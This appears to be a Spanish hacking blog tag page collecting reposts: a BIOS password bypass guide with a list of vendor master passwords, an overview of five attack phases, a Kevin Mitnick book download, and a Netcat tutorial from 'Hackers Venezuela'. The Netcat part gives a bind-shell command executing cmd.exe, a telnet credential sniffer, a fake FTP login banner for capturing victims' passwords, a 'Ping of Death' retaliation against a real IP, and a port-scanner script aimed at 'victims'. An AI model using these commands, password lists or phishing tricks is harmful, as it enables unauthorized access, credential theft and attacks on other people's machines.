Mostrando entradas con la etiqueta Hacking. Mostrar todas las entradas
Mostrando entradas con la etiqueta Hacking. Mostrar todas las entradas

Hackeando la BIOS

Bueno, ya sea por descuido de que no nos acordamos de la contraseña o porque simplemente queremos arrancar desde CD para hackear algún PC, hay maneras de saltarse la protección de la BIOS.
Primero lo haremos por software, yo he utililizado dos, Cmospasswd y KillCmos, se que hay mas por ahi, pero estos me han ido bien,
Comenzaremos por KillCmos, buscar el software está colgado por Internet, una vez estemos dentro del PC, con la sesión iniciada, abrimos la acrpeta donde esta el KillCmos y le damos dos veces encima. Si cuando hayamos ejecutado el Software se oye un pitido procedente desde dentro de la torre, es que nuestro hackeo a la bios a tenido éxito.



Bueno después de esto ya podríamos entrar en la BIOS sin tener la contraseña.
Ahora lo haremos con el programa cmospasswd, este proceso tiene varios procesos
primero nos hemos de meter en la carpeta donde estén los archivos mediante el símbolo del sistema es decir Inicio, ejecutar y CMD.

Recordad que para movernos entre directorios es cd y el directorio y para listar archivos dir.
Bueno nos movemos al directorio y ejecutamos

ioperm.exe -i
Y luego después de esto cmospassswd y nos ha de salir algo asi como esto.



Bueno después de que nos salga lo de la imagen ya tendríamos la BIOS sin contraseña.
Luego tambiñen encontré un exe por Internet que se llama…BIOS320.EXE o algo asñi y que cuando lo ejecutas según el fabricante puedes ejecutar una serie de acciones. Lo ejecutamos primero



Como veis tenemos un menú como las diferentes opciones yo me e ido al apartado de crackers y a la marca del fabricante

Ahora haremos un ataque a la BIOS


Si le damos a YES nos cargamos la password otra vez.

Bueno y como último si logramos tener acceso físico al equipo. Podemos hacerlo quitando la pila de la placa base.


Esta imagen es de una placa base, si nos fijamos en esa cosa redonda plateada es la pila de la placa base,



Ahora ya veis lo que tenéis que quitar,



Hemos dejar la pila mas o menos asi unos 10 segundos.

Y también podemos hacer debug con la BIOS, vamos a MSDOS y ejecutamos esto, LINIA X LINIA


Luego ya está dejará la BIOS como venía de fábrica.
También hay códigos maestros por parte de los fabricantes.
AMI BIOS Passwords:
A.M.I.
AAAMMMIII
AMI?SW
AMI_SW
AMI
BIOS
CONDO
HEWITT RAND
LKWPETER
MI
Oder
PASSWORD
AWARD BIOS Passwords:
01322222
589589
589721
595595
598598
ALFAROME
ALLy
aLLy
aLLY
ALLY
aPAf
_award
award
AWARD_SW
AWARD?SW
AWARD SW
AWARD PW
AWKWARD
awkward
BIOSTAR
CONCAT
CONDO
Condo
d8on
djonet
HLT
J64
J256
J262
j332
j322
KDD
Lkwpeter
LKWPETER
PINT
pint
SER
SKY_FOX
SYXZ
syxz
shift + syxz
TTPTHA
ZAAADA
ZBAAACA
ZJAAADC
PHOENIX BIOS Passwords:
BIOS
CMOS
phoenix
PHOENIX
Misc Common Passwords:
ALFAROME
BIOSTAR
biostar
biosstar
CMOS
cmos
LKWPETER
lkwpeter
setup
SETUP
Syxz
Wodj
Other Manufacturer BIOS Passwords:
Biostar – Biostar
Compaq – Compaq
Dell – Dell
Enox – xo11nE
Epox – central
Freetech – Posterie
IWill – iwill
Jetway – spooml
Packard Bell – bell9
QDI – QDI
Siemens – SKY_FOX
TMC – BIGO
Toshiba – Toshiba
VOBIS & IBM – merlin
Y hasta aquí todo,

Fuente: http://comunidad.dragonjar.org/

Las 5 fases de ataque de un Hacker

Fase 1 – Reconocimiento (Reconnaissance)

El reconocimiento se refiere a la fase preparatoria donde el atacante obtiene toda la información necesaria de su objetivo o victima antes de lanzar el ataque. Esta fase también puede incluir el escaneo de la red que el Hacker quiere atacar no importa si el ataque va a ser interno o externo. Esta fase le permite al atacante crear una estrategia para su ataque.

Esta fase puede incluir la Ingeniería Social, buscar en la basura (Dumpster diving), buscar que tipo de sistema operativo y aplicaciones usa el objetivo o víctima, cuales son los puertos que están abiertos, donde están localizados los routers (enrutadores), cuales son los host (terminales, computadoras) más accesibles, buscar en las bases de datos del Internet (Whois) información como direcciones de Internet (IP), nombres de dominios, información de contacto, servidores de email y toda la información que se pueda extraer de los DNS (Domain Name Server).

Esta fase le puede tomar bastante tiempo al Hacker ya que tiene que analizar toda la información que ha obtenido para lanzar el ataque con mayor precisión.

Fase 2 – Escaneo (Scanning)

Esta es la fase que el atacante realiza antes de la lanzar un ataque a la red (network). En el escaneo el atacante utiliza toda la información que obtuvo en la Fase del Reconocimiento (Fase 1) para identificar vulnerabilidades específicas. Por ejemplo, si en la Fase 1 el atacante descubrió que su objetivo o su víctima usa el sistema operativo Windows XP entonces el buscara vulnerabilidades especificas que tenga ese sistema operativo para saber por dónde atacarlo.

También hace un escaneo de puertos para ver cuáles son los puertos abiertos para saber por cual puerto va entrar y usa herramientas automatizadas para escanear la red y los host en busca de mas vulnerabilidades que le permitan el acceso al sistema.

Fase 3 – Ganar Acceso (Gaining Access)

Esta es una de las fases más importantes para el Hacker porque es la fase de penetración al sistema, en esta fase el Hacker explota las vulnerabilidades que encontró en la fase 2. La explotación puede ocurrir localmente, offline (sin estar conectado), sobre el LAN (Local Area Network), o sobre el Internet y puede incluir técnicas como buffer overflows (desbordamiento del buffer), denial-of-service (negación de servicios), sesión hijacking (secuestro de sesión), y password cracking (romper o adivinar claves usando varios métodos como: diccionary atack y brute forcé atack).

Los factores que ayudan al Hacker en esta fase a tener una penetración exitosa al sistema dependen de cómo es la arquitectura del sistema y de cómo está configurado el sistema objetivo o víctima, una configuración de seguridad simple significa un acceso más fácil al sistema, otro factor a tener en cuenta es el nivel de destrezas, habilidades y conocimientos sobre seguridad informática y redes que tenga el Hacker y el nivel de acceso que obtuvo al principio de la penetración (Fase 3).

Fase 4 – Mantener el Acceso (Maintaining Access)

Una vez el Hacker gana acceso al sistema objetivo (Fase3) su prioridad es mantener el acceso que gano en el sistema. En esta fase el Hacker usa sus recursos y recursos del sistema y usa el sistema objetivo como plataforma de lanzamiento de ataques para escanear y explotar a otros sistemas que quiere atacar, también usa programas llamados sniffers para capturar todo el trafico de la red, incluyendo sesiones de telnet y FTP (File Transfer Protocol).

En esta fase el Hacker puede tener la habilidad de subir, bajar y alterar programas y data.

En esta fase el hacker quiere permanecer indetectable y para eso remueve evidencia de su penetración

al sistema y hace uso de Backdoor (puertas traseras) y Troyanos para ganar acceso en otra ocasión y tratar de tener acceso a cuentas de altos privilegios como cuentas de Administrador. También usan los caballos de Troya (Trojans) para transferir nombres de usuarios, passwords e incluso información de tarjetas de crédito almacenada en el sistema.

Fase 5 – Cubrir las huellas (Covering Tracks)

En esta fase es donde el Hacker trata de destruir toda la evidencia de sus actividades ilícitas y lo hace por varias razones entre ellas seguir manteniendo el acceso al sistema comprometido ya que si borra sus huellas los administradores de redes no tendrán pistas claras del atacante y el Hacker podrá seguir penetrando el sistema cuando quiera, además borrando sus huellas evita ser detectado y ser atrapado por la policía o los Federales.

Las herramientas y técnicas que usa para esto son caballos de Troya, Steganography, Tunneling, Rootkits y la alteración de los “log files” (Archivos donde se almacenan todos los eventos ocurridos en un sistema informático y permite obtener información detallada sobre los hábitos de los usuarios), una vez que el Hacker logra plantar caballos de Troya en el sistema este asume que tiene control total del sistema.

Fuente: http://www.wisedatasecurity.com/5-fases-ataque-hacker.html

El Arte de la Intrusión By Kevin Mitnick



Para quien no sepa quién es Mitnick, basta decir que es el phone-hacker más famoso en toda la historia de internet, a él se deben leyendas y tácticas de intrusión informática basadas en a) Ingeniería social b) cracking a las redes informaticas de Motorola c) ocultamiento de datos informáticos mediante tácticas nomádicas por toda la red.

Y si bien lo anterior le costó a Mitnick ser encarcelado durante varios meses (cabe destacar que su movil siempre fue la curiosidad pues nunca vendió y/o lucró con la información que obtenía), también lo llevó a ser el centro del movimiemto !FREE KEVIN!, el cual, se convirtió en el movimiento underground de liberación más importante en internet.

Descargar

Netcat - Gran Utilidad de Administradores y Hackers

==========================================
Netcat.
Sacandole Provecho a una exelente Utilidad.
por: Kliber.
kliber@hven.com.ve
Hackers Venezuela
==========================================

Netcat es un pequeño programa creado para uso de los administradores de redes (y por supuesto para los Hackers) :), este proggie fue creado originalmente por Hobbit y porteado a Win95 y NT por Weld Pond de L0pht , tiene mas de un año desde que fue Liberado y muy poco se ha escrito sobre este Programita; Principalmente porque la estructura de sus comandos es poco familiar para el usuario medio. Netcat tiene infinidad de funciones, aunque se deja que sea el usuario quien las averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy elementales solamente.

La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la máquina de windows, cierto poder sobre este protocolo que solo tenía UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre TCP/IP. El comando principal es nc con su respectiva variable u opción al mas puro estilio Unix.

Cabe destacar que la información sobre Netcat y sus usos especificos es bastante limitada; aunque Hobbit en su documento aclara muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado para mas de 1001 vainas...

Netcat puede ser encontrado en: http://www.l0pht.com/~weld/netcat

Netcat en WinX
==============

Este es el resultado de el comando de ayuda de netcat en una máquina windows

c:>nc -h

connect to somewhere: nc [-options] hostname port [ports]
listen for inbound: nc -l -p port [options] [hostname] [port]
options:

-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Bien; un analisis rápido de estas variables nos da una idea del potencial de este pequeño programa y las infinitas posibilidades que nos ofrece el poder manejar conexiones de una manera tan básica y sencilla:

<------ Opciones de Netcat --------->

-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo trabajar en el BackGround.

-e (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto en WinX como en *NIX.

-l (Escuchando conexiones)
Deja a un puerto abierto en espera de una conexión

-L (lo mismo que anteriormente pero sigue escuchando aún cuando la conexión es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y es muy util para seguir escuchando en el puerto, a diferencia de -l (que la conexión cerrada termina con el proceso de nc) esta opción -L permite seguir escuchando en el mismo puerto (la rutina de nc -l es
reiniciada).

-n (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la facultad de resolver nombres de dominio mediante un DNS Lookup, con esta opción le especificamos que no lo haga, y use solamente direcciones IP.

-o (obtiene un archivo log en Hex de la acción) Genera un Log de las actividades de netcat en código Hexadecimal.

-p (Puerto para pegarse) Algunas veces debes especificarle con esta opción el puerto a realizar una acción.

-s (pegarse a un IP especifico) Netcat puede utilizar IP de una red como fuente local.

-t (Funciona como un pequeño demonio telnet) Con esta opción le especificas a netcat que debe realizar negociaciones telnet.

-u specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que trabaje con protocolo UDP en vez de TCP.

-v (modo verbose, mas información, se le puede añadir otra -v para mas info todavia) Bastante util y necesario, sobre todo para estudiar demonios en profundidad y observar todos los detalles en un Sniffing.

-w (Especifica un tiempo para terminar) Con esta opción le especificas un
tiempo determinado para realizar conexiones.

-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar patrones lógicos de Scanning.

-g (especificar Gateways) Una de las opciones más interesantes de netcat, permite utilizar Routers como "puentes" de conexión.

-G (Especificar puntos de Routing), Con esta opción podemos crear una cadena aleatoria de hosts para crear un ruta perdida para tus paquetes (Spoofing).

-i Especifica un intervalo de segundos entre puertos Scaneados.

<------------- Fin de las opciones comentadas ------>


Netcat en Linux
===============

Netcat en una plataforma como Linux se convierte en una utilidad muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell de Linux mediante Shell Scripts.

Cabe destacar que distribuciones como RedHat Linux trae junto con sus paquetes de instalación una versión limitada de netcat; lo mas recomendable es bajar de la red la versión full de netcat para Linux (Importante: La versión de netcat para linux viene a prueba de lamers, por lo cual debemos compilar a netcat con unos flags especiales para poder obtener las opciones.

-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo desempaquetas en el directorio de tu preferencia, te ubicas dentro del directorio de netcat y lo compilas con Make utilizando las siguientes Flags:

[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"

Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar netcat directamente llamandolo de cualquier parte del Shell, ademas de que podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat trae unos scripts muy interesantes y bien comentados para que los estudies y comprendas mejor su implementación en scripts, los scripts están en el
directorio donde desempaquetastes netcat en /scripts , los corres como siempre: ./probe (o el script que quieras).

Utilizando Netcat.
==================

Para ilustrar mejor como trabajamos con este programa, lo mejor es observar ejemplos prácticos y analizar su estructura para poder comprender mejor como funciona y así poder crear nuestras propias aplicaciones.

Algunas de las cosas que podemos hacer con NetCat son:

Obtener un Shell rapidamente en una máquina remota usando la opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el proggie corre con estas variables y la conexión es realizada, NetCat ejecuta el programa elegido y se conecta a stdin y stdout del programa en la conexión a la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Este comando dejará a NetCat escuchando el Puerto 23 (telnet), cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe) la opción -t le dice a NetCat que maneje cualquier negociación que el cliente pueda esperar....

Si esta conexión es realizada desde una máquina NT, el shell correrá los permisos del proceso que han generado a NetCat (Hmmm...) así que hay que ser muy cuidadosos :)

La belleza de NetCat es que puede hacer lo mismo en CUALQUIER puerto :) Puedes dejar a NetCat escuchando en los puertos NETBIOS, que están probablemente corriendo en la mayoría de las máquinas NT, de esta manera puedes lograr una conexión a una máquina que esté utilizando "Filtrado de Puertos" activado en TCP/IP security Network Control Panel, NT no parece tener ninguna seguridad alrededor de cuales puertos los programas de usuarios son permitidos amarrar, esto quiere decir en pocas palabras, ejecutar comandos y programas que puedan unirse a los Puertos NETBIOS.


Como anteriormente se mencionó, puedes utilizar a Netcat para estudiar diferentes puertos, con la siguiente sintaxis:

c:\>nc -v (puedes añadir otra -v)

Uno de los puertos mas interesantes a la Hora de Analizar un Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e información muy util a la hora de planear un "Brute-Force Attack", este comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion, dandote una idea de sus posibilidades:

c:\>nc -v 79 <> log.txt

El comando anterior le dice a netcat que se conecte en modo verbose al Host predeterminado en el puerto 79 (Finger) y envie el contenido del archivo user.txt (OJO: no he probado esto con una posible lista de nombre de usuarios al azahar), la respuesta del servicio será guardada en el archivo log.txt

Scanner:
========

Netcat puede ser utilizado como scanner, sus multiples opciones le permiten realizar un gran número de combinaciones, pudiendo realizar Scannings en Puertos Random, en puertos conocidos, en modo ascendente o descendente, con intervalos de tiempo, utilizando gateways para evitar mostrar la IP fuente del Scanning, etc.

C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

Pues si; aqui tienen un pequeño y primitivo scanner, se le pueden añadir puertos escogidos como en el ejemplo anterior o asignarle un rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch:
localhost != darkstar localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc...

Volvemos con la opción -v (verbose) y la Opción -z (zero i/o) que es usada para scanning, los puertos se lo especificamos al final del IP del host, bien sea individuales separados por un espacio; o por un rango de puertos.

Sniffer:
========

Otra de las interesante posibilidades de netcat es su capacidad para escuchar conexiones en cualquier puerto, pudiendo redireccionar todo el tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]


Tambien podemos redireccionar toda la salida a un archivo e irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

[Aqui viene la conneción...]

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la connección se va al archivo login.txt]
sent 0, rcvd 42

[La opción -L permite que netcat escuche nuevamente al terminar la conexión,
"New Victims Wanted" Hehe!]

DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...

El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
---------------------

Ejecutamos a Netcat con la opción o variable -v (verbose) (doblemente "verbose" por si acaso) ;) esto hará que el resultado de netcat, sea mostrado directamente en pantalla (a diferencia del archivo usado por Dr._X) , la opción o variable -L (Listen, and listen again) nos permitirá dejar escuchando u "oliendo" en determinado puerto aun cuando la conexión sea interrumpida (listen again), con la variable -p le indicamos el puerto...

Al ejecutar a netcat con esa combinación de variables las opción -v me indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

Realizo desde otra ventana un telnet a localhost (127.0.0.1) en el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado

Voilá! un Sniffer en LocalHost! Jajaja!!!

Detector de Conneciones Sospechosas:
====================================

La posibilidad de dejar a netcat escuchando en determinados puertos, nos permite crear una especie de "trampa" para un supuesto agresor que utilize scanners, o herramientas tales como NetBus o BackOrifice en contra de nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood y redireccionar su salida hacia la estación agresora en caso de una conexión no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas más, Muaahahaha!) :)

Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo real de un dia como cualquier otro en IRC; he aquí el ejemplo:

C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
31338

Back Orifice utiliza el protocolo UDP para realizar sus travesuras, realiza la conexión desde un puerto aleatorio (casi siempre el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una variante de BO), por eso se utiliza la opción -u (protocolo udp) , netcat se queda esperando conexiones UDP en el puerto 31337 (default de BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a pantalla el IP y el DNS del agresor...

Luego un pequeño "Ping of Death" (Nuke) para el transgresor y le hacen un Scan para ver cuando desaparece B-]
nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!! Otros usos Miscelaneos: ======================= Puedes utilizar algo de ingienería social para capturar algunos passwords con netcat, por ejemplo, si una máquina no tiene abierto el puerto de FTP o de telnet, creas un archivo de texto que solicite el ID y el Password de la víctima; algo así: Microsoft Internet FTP Server V.5.9 [Beta] 04/16/99 myhost.com Please introduce Username, password and press "Enter" LogOn: Luego redireccionas el archivo hacia la victima: C:\nc11nt>nc -v -v -L -p 21 nombre del host -t <> nc -v nombre del host 23(o el puerto de tu preferencia)

Netcat y Programación:
======================

Esta combinación desencadena todo el Poder de Netcat en su máxima expresión; Tratandose de una herramienta que funciona con lineas de comandos, su integración con un lenguaje de programación le permite realizar gran cantidad de tareas, y posibilidades se van descubriendo dia a dia con su inclusión en nuevos Scripts y Exploits.

Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten frustrados porque muchos de los Scripts y Exploits que bajan de la Red simplemente no les funciona, porque no saben interpretar el Código y por lo tanto son incapaces de efectuar las modificaciones necesarias para incluir librerias, paths o utilidades necesarias para su funcionamiento. (Jódanse ScriptKiddies!!! Jajaja!!)

Netcat es exelente para implementar exploits remotos, permitiendo enviar el código a cualquier puerto vulnerable con una simple orden, logrando ejecutar todos los comandos necesarios para explotar determinados servicios.

Varios exploits que circulan actualmente en la Red, usan a netcat como "motor" para manejar las conexiones, si analizamos el código de estos programas podemos observar un nc por ahí, esto significa que el Proggie en cuestión necesita una versión correctamente compilada de netcat en el
directorio /usr/bin . A continuación un pequeño programa realizado por el Doctor_X de Hven utilizando a netcat:

<---------- Hven Port Scanner!! ------>

# !/bin/bash
# Scanner de Puertos
# By DoctorX 17/04/99 email: d0ct0r_x@bactery.8m.com
# Zona de Bacterias http://bactery.8m.com
# Hackers de Venezuela http://www.hackhour.com.br/hven
# Este es un shell script hecho por mi para la verificacion de
# conexiones a un host utilizando netcat.

# Declaracion de Variables

export NETCAT=" nc -v -v -w 8 -z "
export RANGO=$2
LOCALHOST=$(uname -n)
export PUERTOS="21 23 25 79 80 110 111 113 139 143 513 514 515 6000 31337"
export MEM1="Scanner de Puertos "
export MEM2="by "
export MEM22="para Hackers Venezuela"
export MEM3="Victima : "
export MEM4="Falta el GateWay para el Source Routing !!!!!!"
export MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
export MEM6="Local Host : $LOCALHOST "
export MEM7="UDP Scan "
export MEM8="http://www.hackhour.com.br/hven"
export re="[5m"
export cl="[0m"
export rojo="[31m"
export email="email:d0ct0r_x@bactery.8m.com"

# Declaracion de Funciones

# Mensaje cuando no se le dan Parametros

function mem() {
local uso="uso :$0 [opcion] "
local DRX="DoctorX"
echo $MEM1
echo $MEM2 ${rojo}$DRX${cl} $MEM22
echo $MEM8
echo ${rojo}$uso${cl}
echo " :IP/HOSTNAME de La Victima jejejeje "
echo " :source-routing , es opcional "
echo "opciones : "
echo "u :esta opcion de utiliza para hacer scan udp"
echo "so :Determinacion de SO de servidores Web"
echo "r rango_de_puertos :Cambia el rango de puertos por defecto :plow-phi" &&
exit ; }

# Mensaje Inicial

function mem2() {
VICTIMA=$1
echo $MEM1
echo $MEM2 ${rojo}DoctorX${cl} $MEM22
echo $MEM3 $VICTIMA
echo $MEM6 ; }

# Mensaje 2

function mem_web() {
mem_web1="Hackers Venezuela"
mem_web2="By"
mem_web3="Victima : "
VICTIMA=$1
mem_web4="Determinacion de SO en Web Servers"
echo $mem_web1
echo $mem_web4
echo $mem_web2 ${rojo}DoctorX${cl} $email
echo $mem_web3 $VICTIMA ;}


# Scan Tcp

function tcp() {
HOST=$1
$NETCAT $HOST $PUERTOS ; }

# Scan Tcp con Rango

function tcp_rango() {
HOST=$2
RANGO=$1
$NETCAT $HOST $RANGO ; }

# Scan UDP

function udp() {
VICTIMA=$1
echo $MEM7
$NETCAT -u $VICTIMA $PUERTOS ; }

# Scan UDP con gateway

function udp_gateway() {
echo $MEM7
VICTIMA=$2
GATE=$1
NETCAT_GATE="nc -v -v -z -u $VICTIMA -g $GATE "
$NETCAT_GATE $PUERTOS ; }

# Scan con Source Routing

function tcp_gateway() {
GATE=$1
HOST=$2
RANGO=$PUERTOS
echo "Gate : $GATE "
$NETCAT -g $GATE $HOST $RANGO ; }

# Advertencia

function adv() {
local MEM4="Falta el GateWay para el Source Routing !!!!!!"
local MEM5="Te van a pillar !!!!!!! $USER jejejejeje "
echo ${rojo}$MEM4${cl}
echo ${re}${rojo}$MEM5${cl} ; }

# Determinacion de SO

function web_so() {
NC="nc -w "
HTTPPORT="80"
GET="GET /"
ECHO="/bin/echo"
HEAD="HEAD / HTPP/1.0"
HTTPVARIABLE="Server:"
WEB_SERVER="$1"
LOG="salida.txt"
#CHECKHTTP=( echo $GET ; sleep 5)| $NETCAT $VICTIMA 80
( echo $HEAD ; echo ; echo ) | $NC 8 $WEB_SERVER $HTTPPORT | grep $HTTPVARIABLE | cut -d: -f2 1> $LOG
cat $LOG
rm -f $LOG ;}


# Seleccion de Opcion

case $# in 0 ) mem ;;
1 ) mem2 $1 ;
adv ;
tcp $1 ;;
3 ) if [ "$1" != "r" ]; then
mem2 $2
udp_gateway $3 $2
else { mem2 $3
adv
tcp_rango $2 $3 ;}
fi ;;
2 ) if [ "$1" != "u" ] ; then
if [ "$1" != "so" ] ; then
{ mem2 $1
# adv
tcp_gateway $2 $1 ;}
else { mem_web $2
web_so $2 ;}
fi
else { export HOST=$2
mem2 $HOST
udp $2
exit 0 ;}
fi ;
esac


<------- Fin del Hven-Scanner, cortar aquí --------->

Conclusión:
============

Si estudiamos detalladamente las variables, el misterio de netcat desaparece, viene la parte de la imaginación; ¿Que otras funciones le podemos asignar? ¿Que mas podría hacer? ; al revisar el
programa que envió Dr._X me dije: "Lógico! Hmmm... Y que tal si hacemos asi..." ; el hacking no es más que probar nuevas posibilidades, utilizando el ingenio, los conocimientos acumulados y una dosis bastante fuerte de imaginación podremos lograr loque queramos. :)

Si tienes otras ideas, utilidades, programas o forma innovadora para utilizar netcat, escribenos un mail, estaré encantado de anexarlo en este documento....

Este Documento fue Realizado por Kliber, Agradecimientos especiales a Doctor_X (Code Freak) :), DarkDeath, y a todos los miembros de nuestra comunidad por su invaluable Colaboración.

"Hecho en Venezuela!"

==============================
kliber@hven.com.ve
Hackers Venezuela
"El Conicimiento es Poder!!"
http://hven.com.ve
==============================

Fuente Externa:
foro.elhacker.net/